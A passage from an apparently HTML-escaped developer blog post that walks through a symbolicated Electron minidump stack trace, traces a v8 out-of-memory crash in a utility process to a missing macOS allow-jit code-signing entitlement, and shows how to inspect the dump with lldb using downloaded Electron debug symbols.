    Found by: call frame info
 3  Electron Framework!v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&amp;amp;) [api.cc : 301 + 0xc]
    x19 = 0x0000000115e75e8d   x20 = 0x0000000115675980
    x21 = 0x0000013c002c0000   x22 = 0x000000016b04fc28
    x23 = 0x000000000000ded0   x24 = 0x000000016b04fd0e
    x25 = 0x000000016b047448   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b050150    sp = 0x000000016b047430
     pc = 0x000000010f5c6638
    Found by: call frame info
 4  Electron Framework!v8::internal::(anonymous namespace)::InitProcessWideCodeRange(v8::PageAllocator*, unsigned long) [code-range.cc : 458 + 0x14]
    x19 = 0x0000013c000c1a40   x20 = 0x0000000010000000
    x21 = 0x0000013c000c1a80   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b050180    sp = 0x000000016b050160
     pc = 0x000000010f71ce70
    Found by: call frame info
 5  Electron Framework!v8::base::CallOnceImpl(std::__Cr::atomic&amp;lt;unsigned char&amp;gt;*, std::__Cr::function&amp;lt;void ()&amp;gt;) [function.h : 428 + 0x8]
    x19 = 0x0000000116de0e90   x20 = 0x0000013c000d0b40
    x21 = 0x0000013c002cdec0   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b0501a0    sp = 0x000000016b050190
     pc = 0x0000000112962d28
    Found by: call frame info
 6  Electron Framework!v8::internal::CodeRange::EnsureProcessWideCodeRange(v8::PageAllocator*, unsigned long) [once.h : 101 + 0x10]
    x19 = 0x000000016b0501b8   x20 = 0x0000013c000d0b40
    x21 = 0x0000013c002cdec0   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b0501f0    sp = 0x000000016b0501b0
     pc = 0x000000010f71cd64
    Found by: call frame info
 7  Electron Framework!v8::internal::Heap::SetUp(v8::internal::LocalHeap*) [heap.cc : 5530 + 0x4]
    x19 = 0x0000013c002cded0   x20 = 0x0000000010000000
    x21 = 0x0000013c002cdec0   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b0502a0    sp = 0x000000016b050200
     pc = 0x000000010f791418
    Found by: call frame info
 8  Electron Framework!v8::internal::Isolate::Init(v8::internal::SnapshotData*, v8::internal::SnapshotData*, v8::internal::SnapshotData*, bool) [isolate.cc : 4719 + 0x0]
    x19 = 0x0000013c002c0000   x20 = 0x000000016b050930
    x21 = 0x0000013c002cdec0   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b0508e0    sp = 0x000000016b0502b0
     pc = 0x000000010f6f5218
    Found by: call frame info
 9  Electron Framework!v8::internal::Isolate::InitWithSnapshot(v8::internal::SnapshotData*, v8::internal::SnapshotData*, v8::internal::SnapshotData*, bool) [isolate.cc : 4376 + 0x0]
    x19 = 0x0000013c002c0000   x20 = 0x0000000116dfabd8
    x21 = 0x0000013c002d0680   x22 = 0x0000013c002cee98
    x23 = 0x0000000000000000   x24 = 0x0000013c002c0000
    x25 = 0x0000013c000a0280   x26 = 0x0000000116d82000
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b0508f0    sp = 0x000000016b0508f0
     pc = 0x000000010f6f5d80
    Found by: call frame info
10  Electron Framework!v8::internal::Snapshot::Initialize(v8::internal::Isolate*) [snapshot.cc : 198 + 0x10]
    x19 = 0x0000013c002c0000   x20 = 0x0000000116dfabd8
    x21 = 0x0000013c002d0680   x22 = 0x0000013c002cee98
    x23 = 0x0000000000000000   x24 = 0x0000013c002c0000
    x25 = 0x0000013c000a0280   x26 = 0x0000000116d82000
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b0509d0    sp = 0x000000016b050900
     pc = 0x000000010fb92e5c
    Found by: call frame info
11  Electron Framework!v8::Isolate::Initialize(v8::Isolate*, v8::Isolate::CreateParams const&amp;amp;) [api.cc : 9725 + 0x4]
    x19 = 0x0000013c002c0000   x20 = 0x0000013c00042f40
    x21 = 0x0000013c002d0680   x22 = 0x0000013c002cee98
    x23 = 0x0000000000000000   x24 = 0x0000013c002c0000
    x25 = 0x0000013c000a0280   x26 = 0x0000000116d82000
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050a10    sp = 0x000000016b0509e0
     pc = 0x000000010f5ea6ac
    Found by: call frame info
12  Electron Framework!gin::IsolateHolder::IsolateHolder(scoped_refptr&amp;lt;base::SingleThreadTaskRunner&amp;gt;, gin::IsolateHolder::AccessMode, gin::IsolateHolder::IsolateType, std::__Cr::unique_ptr&amp;lt;v8::Isolate::CreateParams, std::__Cr::default_delete&amp;lt;v8::Isolate::CreateParams&amp;gt;&amp;gt;, gin::IsolateHolder::IsolateCreationMode, scoped_refptr&amp;lt;base::SingleThreadTaskRunner&amp;gt;, v8::Isolate*) [isolate_holder.cc : 122 + 0x0]
    x19 = 0x0000013c00161688   x20 = 0x0000013c00020360
    x21 = 0x000000016b050a88   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x0000013c002c0000
    x25 = 0x0000013c000a0280   x26 = 0x0000000116d82000
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050a60    sp = 0x000000016b050a20
     pc = 0x0000000112aff208
    Found by: call frame info
13  Electron Framework!electron::JavascriptEnvironment::JavascriptEnvironment(uv_loop_s*, bool) [javascript_environment.cc : 97 + 0x1c]
    x19 = 0x0000013c00161680   x20 = 0x0000013c00161688
    x21 = 0x0000013c002c0000   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x000000016b050d20
    x25 = 0x0000000116d82000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050ab0    sp = 0x000000016b050a70
     pc = 0x000000010e4cd8e8
    Found by: call frame info
14  Electron Framework!electron::NodeService::Initialize(mojo::StructPtr&amp;lt;node::mojom::NodeServiceParams&amp;gt;) [unique_ptr.h : 621 + 0x8]
    x19 = 0x0000013c00170d20   x20 = 0x000000016b050c70
    x21 = 0x0000000116dd4c08   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x000000016b050d20
    x25 = 0x0000000116d82000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050c60    sp = 0x000000016b050ac0
     pc = 0x000000010e581fac
    Found by: call frame info
15  Electron Framework!node::mojom::NodeServiceStubDispatch::Accept(node::mojom::NodeService*, mojo::Message*) [node_service.mojom.cc : 278 + 0x10]
    x19 = 0x0000013c00170d20   x20 = 0x000000016b051150
    x21 = 0x0000013c00082d00   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x000000016b050d20
    x25 = 0x0000000116d82000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050c90    sp = 0x000000016b050c70
     pc = 0x000000011147d9bc
    Found by: call frame info
16  Electron Framework!mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) [interface_endpoint_client.cc : 1021 + 0xc]
    x19 = 0x0000013c00082d00   x20 = 0x000000016b051150
    x21 = 0x0000013c00082d00   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x000000016b050d20
    x25 = 0x0000000116d82000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050dd0    sp = 0x000000016b050ca0
     pc = 0x00000001119d1108
    Found by: call frame info
17  Electron Framework!mojo::MessageDispatcher::Accept(mojo::Message*) [message_dispatcher.cc : 43 + 0xc]
    x19 = 0x000000016b051150   x20 = 0x0000013c00082de8
    x21 = 0x000000016b051150   x22 = 0x0000013c00082d00
    x23 = 0x0000000000000000   x24 = 0x000000016b0510c0
    x25 = 0x0000000000000000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050e30    sp = 0x000000016b050de0
     pc = 0x00000001119d5b78
    Found by: call frame info
18  Electron Framework!mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) [interface_endpoint_client.cc : 706 + 0x4]
    x19 = 0x00000001158a778e   x20 = 0x0000000028bc8f23
    x21 = 0x000000016b051150   x22 = 0x0000013c00082d00
    x23 = 0x0000000000000000   x24 = 0x000000016b0510c0
    x25 = 0x0000000000000000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050fa0    sp = 0x000000016b050e40
     pc = 0x00000001119d2d40
    Found by: call frame info
19  Electron Framework!mojo::internal::MultiplexRouter::Accept(mojo::Message*) [multiplex_router.cc : 1096 + 0x8]
    x19 = 0x0000013c00092800   x20 = 0x0000013c000c1040
    x21 = 0x0000000000000000   x22 = 0x0000013c00082d00
    x23 = 0x0000000000000000   x24 = 0x000000016b0510c0
    x25 = 0x0000000000000000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b051230    sp = 0x000000016b050fb0
     pc = 0x00000001119de6cc
    Found by: call frame info
20  Electron Framework!mojo::MessageDispatcher::Accept(mojo::Message*) [message_dispatcher.cc : 43 + 0xc]
    x19 = 0x000000016b051300   x20 = 0x0000013c00092830
    x21 = 0x0000000000000000   x22 = 0x0000013c000509e0
    x23 = 0x000000016b051300   x24 = 0xaaaaaaaaaaaaaaaa
    x25 = 0x000000016b051380   x26 = 0x0000000000000000
    x27 = 0x0000000000000008   x28 = 0x0000000116d82000
     fp = 0x000000016b051290    sp = 0x000000016b051240
     pc = 0x00000001119d5b78
    Found by: call frame info
21  Electron Framework!base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int) [connector.cc : 554 + 0xc]
    x19 = 0x0000013c00092860   x20 = 0x0000013c00092a10
    x21 = 0x0000000000000000   x22 = 0x0000013c000509e0
    x23 = 0x000000016b051300   x24 = 0xaaaaaaaaaaaaaaaa
    x25 = 0x000000016b051380   x26 = 0x0000000000000000
    x27 = 0x0000000000000008   x28 = 0x0000000116d82000
     fp = 0x000000016b051420    sp = 0x000000016b0512a0
     pc = 0x00000001119ce6a8
    Found by: call frame info
22  Electron Framework!base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;false, true, false, void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt;, void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&amp;amp;) [callback.h : 344 + 0x4]
    x19 = 0x0000013c00073070   x20 = 0x0000013c001603c0
    x21 = 0x0000013c00160240   x22 = 0x0000000000000000
    x23 = 0x0000013c00062f80   x24 = 0x000000016b0514e8
    x25 = 0x0000000116d82000   x26 = 0x0000000000000000
    x27 = 0x0000000116eda000   x28 = 0x00000001158a778e
     fp = 0x000000016b051440    sp = 0x000000016b051430
     pc = 0x000000010e404a4c
    Found by: call frame info
23  Electron Framework!base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, void ()&amp;gt;::RunOnce(base::internal::BindStateBase*) [callback.h : 344 + 0x8]
    x19 = 0x0000000116d82000   x20 = 0x0000013c001603c0
    x21 = 0x0000013c00160240   x22 = 0x0000000000000000
    x23 = 0x0000013c00062f80   x24 = 0x000000016b0514e8
    x25 = 0x0000000116d82000   x26 = 0x0000000000000000
    x27 = 0x0000000116eda000   x28 = 0x00000001158a778e
     fp = 0x000000016b051580    sp = 0x000000016b051450
     pc = 0x00000001119f2388
    Found by: call frame info
24  Electron Framework!base::TaskAnnotator::RunTaskImpl(base::PendingTask&amp;amp;) [callback.h : 156 + 0x0]
    x19 = 0x0000013c00261000   x20 = 0x0000012800440270
    x21 = 0x0000000000000000   x22 = 0x0000000000000000
    x23 = 0x0000013c00080000   x24 = 0xaaaaaaaaaaaaaaaa
    x25 = 0x0000000116d82000   x26 = 0x0000000000000000
    x27 = 0xaaaaaaaaaaaaaa00   x28 = 0x0000000000000000
     fp = 0x000000016b051600    sp = 0x000000016b051590
     pc = 0x00000001116bea7c
    Found by: call frame info
25  Electron Framework!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) [task_annotator.h : 90 + 0x8]
    x19 = 0x0000013c00261000   x20 = 0xaaaaaaaaaaaaaa00
    x21 = 0x0000000000000019   x22 = 0x0000000000000000
    x23 = 0x0000013c00080000   x24 = 0xaaaaaaaaaaaaaaaa
    x25 = 0x0000000116d82000   x26 = 0x0000000000000000
    x27 = 0xaaaaaaaaaaaaaa00   x28 = 0x0000000000000000
     fp = 0x000000016b051880    sp = 0x000000016b051610
     pc = 0x00000001116d8f5c
    Found by: call frame info
26  Electron Framework!non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() [thread_controller_with_message_pump_impl.cc : 338 + 0xc]
    x19 = 0x000000016b051920   x20 = 0x0000013c000800e8
    x21 = 0x0000013c00080000   x22 = 0xaaaaaaaaaaaaaaaa
    x23 = 0x7fffffffffffffff   x24 = 0x0000000000000000
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051910    sp = 0x000000016b051890
     pc = 0x00000001116d956c
    Found by: call frame info
27  Electron Framework!base::MessagePumpDefault::Run(base::MessagePump::Delegate*) [message_pump_default.cc : 40 + 0x8]
    x19 = 0x0000013c00060440   x20 = 0x0000013c000800e8
    x21 = 0x0000000000000001   x22 = 0xaaaaaaaaaaaaaaaa
    x23 = 0x7fffffffffffffff   x24 = 0x0000000000000000
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051980    sp = 0x000000016b051920
     pc = 0x000000011168056c
    Found by: call frame info
28  Electron Framework!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) [thread_controller_with_message_pump_impl.cc : 641 + 0x0]
    x19 = 0x0000013c00080000   x20 = 0x0000000000000001
    x21 = 0x7fffffffffffffff   x22 = 0x0000000000000001
    x23 = 0x7ffffffffffffff7   x24 = 0x000000016b051b58
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b0519d0    sp = 0x000000016b051990
     pc = 0x00000001116d9bd4
    Found by: call frame info
29  Electron Framework!base::RunLoop::Run(base::Location const&amp;amp;) [run_loop.cc : 134 + 0x4]
    x19 = 0x000000016b051b10   x20 = 0x000000016b051ad0
    x21 = 0x000000016b0519e8   x22 = 0x0000000000000000
    x23 = 0x7ffffffffffffff7   x24 = 0x000000016b051b58
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051ab0    sp = 0x000000016b0519e0
     pc = 0x00000001116a4f04
    Found by: call frame info
30  Electron Framework!content::UtilityMain(content::MainFunctionParams) [utility_main.cc : 439 + 0x24]
    x19 = 0x00000128002ce5b0   x20 = 0x0000000000000007
    x21 = 0x0000000115652ec1   x22 = 0x000000016b051ad7
    x23 = 0x7ffffffffffffff7   x24 = 0x000000016b051b58
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051c50    sp = 0x000000016b051ac0
     pc = 0x00000001110e24c4
    Found by: call frame info
31  Electron Framework!content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string&amp;lt;char, std::__Cr::char_traits&amp;lt;char&amp;gt;, std::__Cr::allocator&amp;lt;char&amp;gt;&amp;gt; const&amp;amp;, content::MainFunctionParams, content::ContentMainDelegate*) [content_main_runner_impl.cc : 775 + 0x4]
    x19 = 0x00000001110e1dd8   x20 = 0x000000016b0521f0
    x21 = 0x000000016b051dd0   x22 = 0x0000000116ae4668
    x23 = 0x000000016b051e98   x24 = 0x0000000000000007
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051db0    sp = 0x000000016b051c60
     pc = 0x000000010e6ef7e4
    Found by: call frame info
32  Electron Framework!content::ContentMainRunnerImpl::Run() [content_main_runner_impl.cc : 1150 + 0x8]
    x19 = 0x00000128002e0280   x20 = 0x000000016b051dd0
    x21 = 0x000000016b051e50   x22 = 0x000000016b051e98
    x23 = 0x0000000000000007   x24 = 0x0000000000000007
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051ef0    sp = 0x000000016b051dc0
     pc = 0x000000010e6f04e0
    Found by: call frame info
33  Electron Framework!content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) [content_main.cc : 331 + 0x4]
    x19 = 0x00000128002e0280   x20 = 0x0000000000000007
    x21 = 0x000000016b051f08   x22 = 0x0000000000000007
    x23 = 0x000000016b052040   x24 = 0x000000016b052380
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b052100    sp = 0x000000016b051f00
     pc = 0x000000010e6eee84
    Found by: call frame info
34  Electron Framework!content::ContentMain(content::ContentMainParams) [content_main.cc : 344 + 0x4]
    x19 = 0x000000016b052178   x20 = 0x000000016b052110
    x21 = 0x0000000116d82000   x22 = 0x0000000000000080
    x23 = 0x000000016b0522f0   x24 = 0x000000016b052380
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b052160    sp = 0x000000016b052110
     pc = 0x000000010e6ef048
    Found by: call frame info
35  Electron Framework!ElectronMain [electron_library_main.mm : 26 + 0x4]
    x19 = 0x000000016b0524f0   x20 = 0x0000000000000014
    x21 = 0x0000000116d82000   x22 = 0x0000000000000080
    x23 = 0x000000016b0522f0   x24 = 0x000000016b052380
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b052250    sp = 0x000000016b052170
     pc = 0x000000010e3c852c
    Found by: call frame info
36  Electron Framework!ElectronMain [electron_library_main.mm : 26 + 0x4]
     fp = 0x000000016b0522a0    lr = 0x0000000104daca50
     sp = 0x000000016b052260    pc = 0x000000010e3c852c
    Found by: previous frame&apos;s frame pointer
37  OOMOL Studio Helper (Plugin) + 0xa4c
     fp = 0x000000016b0524d0    lr = 0x000000018021b154
     sp = 0x000000016b0522b0    pc = 0x0000000104daca50
    Found by: previous frame&apos;s frame pointer
38  dyld + 0x6150
     fp = 0x0000000000000000    lr = 0x534b800000000000
     sp = 0x000000016b0524e0    pc = 0x000000018021b154
    Found by: previous frame&apos;s frame pointer
...
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It can be seen that the cause of the crash here is that the &lt;code&gt;Helper (Plugin)&lt;/code&gt; process (corresponding to &lt;code&gt;AppName Helper (Plugin).app&lt;/code&gt; in electron) failed to allocate memory when using &lt;code&gt;UtilityMain&lt;/code&gt; (corresponding to &lt;a href=&quot;https://www.electronjs.org/docs/latest/api/utility-process&quot;&gt;utilityProcess&lt;/a&gt; in electron), leading to the crash.&lt;/p&gt;
&lt;p&gt;Combining this with our business needs: when we use electron’s &lt;code&gt;utilityProcess.fork&lt;/code&gt; method, the v8 engine in the forked script is unable to allocate memory, resulting in a crash.&lt;/p&gt;
&lt;p&gt;Ultimately, we found that this was caused by the lack of the &lt;code&gt;com.apple.security.cs.allow-jit&lt;/code&gt; entitlement in the &lt;code&gt;entitlements&lt;/code&gt; we declared for &lt;code&gt;AppName Helper (Plugin).app&lt;/code&gt; during the code signing process.&lt;/p&gt;
&lt;h3&gt;Using &lt;code&gt;lldb&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Personally, I would prefer using &lt;code&gt;lldb&lt;/code&gt; to investigate the cause of the crash, as its output is more intuitive.&lt;/p&gt;
&lt;p&gt;First, use the following command to download the dsym file:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;wget https://github.com/electron/electron/releases/download/v30.5.1/electron-v30.5.1-darwin-arm64-dsym.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After decompressing is complete, we need to set the search path for &lt;code&gt;lldb&lt;/code&gt; and execute &lt;code&gt;bt&lt;/code&gt; to view:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;lldb -c ./0c6d2547-6694-4109-b82e-cc3e6331885f.dmp -o &quot;settings set target.exec-search-paths ./electron-v30.5.1-darwin-arm64-dsym&quot; -o &quot;bt&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The final output is as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;* thread #1, stop reason = EXC_BREAKPOINT (code=1, subcode=0x1129666c8)
  * frame #0: 0x00000001129666c8 Electron Framework`v8::base::OS::Abort() [inlined] v8::base::OS::Abort()::$_0::operator()(this=&amp;lt;unavailable&amp;gt;) const at platform-posix.cc:699:7 [opt]
    frame #1: 0x00000001129666c8 Electron Framework`v8::base::OS::Abort() at platform-posix.cc:699:7 [opt]
    frame #2: 0x000000011295e6ec Electron Framework`v8::base::FatalOOM(type=&amp;lt;unavailable&amp;gt;, msg=&amp;lt;unavailable&amp;gt;) at logging.cc:94:3 [opt]
    frame #3: 0x000000010f5c66f4 Electron Framework`v8::Utils::ReportOOMFailure(i_isolate=&amp;lt;unavailable&amp;gt;, location=&amp;lt;unavailable&amp;gt;, details=&amp;lt;unavailable&amp;gt;) at api.cc:341:7 [opt]
    frame #4: 0x000000010f5c6638 Electron Framework`v8::internal::V8::FatalProcessOutOfMemory(i_isolate=0x0000013c002c0000, location=&quot;&quot;, details=0x0000000115675980) at api.cc:301:3 [opt]
    frame #5: 0x000000010f71ce70 Electron Framework`v8::internal::(anonymous namespace)::InitProcessWideCodeRange(page_allocator=&amp;lt;unavailable&amp;gt;, requested_size=&amp;lt;unavailable&amp;gt;) at code-range.cc:458:5 [opt]
    frame #6: 0x0000000112962d28 Electron Framework`v8::base::CallOnceImpl(std::__Cr::atomic&amp;lt;unsigned char&amp;gt;*, std::__Cr::function&amp;lt;void ()&amp;gt;) [inlined] std::__Cr::__function::__value_func&amp;lt;void ()&amp;gt;::operator()(this=&amp;lt;unavailable&amp;gt;) const at function.h:428:12 [opt]
    frame #7: 0x0000000112962d14 Electron Framework`v8::base::CallOnceImpl(std::__Cr::atomic&amp;lt;unsigned char&amp;gt;*, std::__Cr::function&amp;lt;void ()&amp;gt;) [inlined] std::__Cr::function&amp;lt;void ()&amp;gt;::operator()(this=&amp;lt;unavailable&amp;gt;) const at function.h:981:10 [opt]
    frame #8: 0x0000000112962d14 Electron Framework`v8::base::CallOnceImpl(once=0x0000000116de0e90, init_func=&amp;lt;unavailable&amp;gt;) at once.cc:36:5 [opt]
    frame #9: 0x000000010f71cd64 Electron Framework`v8::internal::CodeRange::EnsureProcessWideCodeRange(v8::PageAllocator*, unsigned long) [inlined] void v8::base::CallOnce&amp;lt;v8::PageAllocator*, unsigned long, void&amp;gt;(once=&amp;lt;unavailable&amp;gt;, init_func=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;) at once.h:101:5 [opt]
    frame #10: 0x000000010f71cd10 Electron Framework`v8::internal::CodeRange::EnsureProcessWideCodeRange(page_allocator=0x0000013c000d0b40, requested_size=&amp;lt;unavailable&amp;gt;) at code-range.cc:475:3 [opt]
    frame #11: 0x000000010f791418 Electron Framework`v8::internal::Heap::SetUp(this=0x0000013c002cded0, main_thread_local_heap=&amp;lt;unavailable&amp;gt;) at heap.cc:5530:19 [opt]
    frame #12: 0x000000010f6f5218 Electron Framework`v8::internal::Isolate::Init(this=0x0000013c002c0000, startup_snapshot_data=0x000000016b050960, read_only_snapshot_data=0x000000016b050948, shared_heap_snapshot_data=0x000000016b050930, can_rehash=true) at isolate.cc:4719:9 [opt]
    frame #13: 0x000000010f6f5d80 Electron Framework`v8::internal::Isolate::InitWithSnapshot(this=&amp;lt;unavailable&amp;gt;, startup_snapshot_data=&amp;lt;unavailable&amp;gt;, read_only_snapshot_data=&amp;lt;unavailable&amp;gt;, shared_heap_snapshot_data=&amp;lt;unavailable&amp;gt;, can_rehash=&amp;lt;unavailable&amp;gt;) at isolate.cc:4376:10 [opt]
    frame #14: 0x000000010fb92e5c Electron Framework`v8::internal::Snapshot::Initialize(isolate=0x0000013c002c0000) at snapshot.cc:198:19 [opt]
    frame #15: 0x000000010f5ea6ac Electron Framework`v8::Isolate::Initialize(v8_isolate=0x0000013c002c0000, params=0x0000013c00042f40) at api.cc:9725:8 [opt]
    frame #16: 0x0000000112aff208 Electron Framework`gin::IsolateHolder::IsolateHolder(this=0x0000013c00161688, task_runner=scoped_refptr&amp;lt;base::SingleThreadTaskRunner&amp;gt; @ x20, access_mode=&amp;lt;unavailable&amp;gt;, isolate_type=&amp;lt;unavailable&amp;gt;, params=v8::Isolate::CreateParams @ 0x0000013c00042f40, isolate_creation_mode=kNormal, low_priority_task_runner=scoped_refptr&amp;lt;base::SingleThreadTaskRunner&amp;gt; @ scalar, isolate=&amp;lt;unavailable&amp;gt;) at isolate_holder.cc:122:5 [opt]
    frame #17: 0x000000010e4cd8e8 Electron Framework`electron::JavascriptEnvironment::JavascriptEnvironment(uv_loop_s*, bool) [inlined] electron::(anonymous namespace)::CreateIsolateHolder(isolate=0x0000013c002c0000) at javascript_environment.cc:97:10 [opt]
    frame #18: 0x000000010e4cd884 Electron Framework`electron::JavascriptEnvironment::JavascriptEnvironment(this=0x0000013c00161680, event_loop=&amp;lt;unavailable&amp;gt;, setup_wasm_streaming=&amp;lt;unavailable&amp;gt;) at javascript_environment.cc:108:23 [opt]
    frame #19: 0x000000010e581fac Electron Framework`electron::NodeService::Initialize(mojo::StructPtr&amp;lt;node::mojom::NodeServiceParams&amp;gt;) [inlined] std::__Cr::__unique_if&amp;lt;electron::JavascriptEnvironment&amp;gt;::__unique_single std::__Cr::make_unique&amp;lt;electron::JavascriptEnvironment, uv_loop_s*&amp;gt;(__args=&amp;lt;unavailable&amp;gt;) at unique_ptr.h:621:30 [opt]
    frame #20: 0x000000010e581f98 Electron Framework`electron::NodeService::Initialize(this=0x0000013c00170d20, params=node::mojom::NodeServiceParamsPtr @ 0x000000016b050c70) at node_service.cc:81:13 [opt]
    frame #21: 0x000000011147d9bc Electron Framework`node::mojom::NodeServiceStubDispatch::Accept(impl=0x0000013c00170d20, message=0x000000016b051150) at node_service.mojom.cc:278:13 [opt]
    frame #22: 0x00000001119d1108 Electron Framework`mojo::InterfaceEndpointClient::HandleValidatedMessage(this=&amp;lt;unavailable&amp;gt;, message=&amp;lt;unavailable&amp;gt;) at interface_endpoint_client.cc:1021:54 [opt]
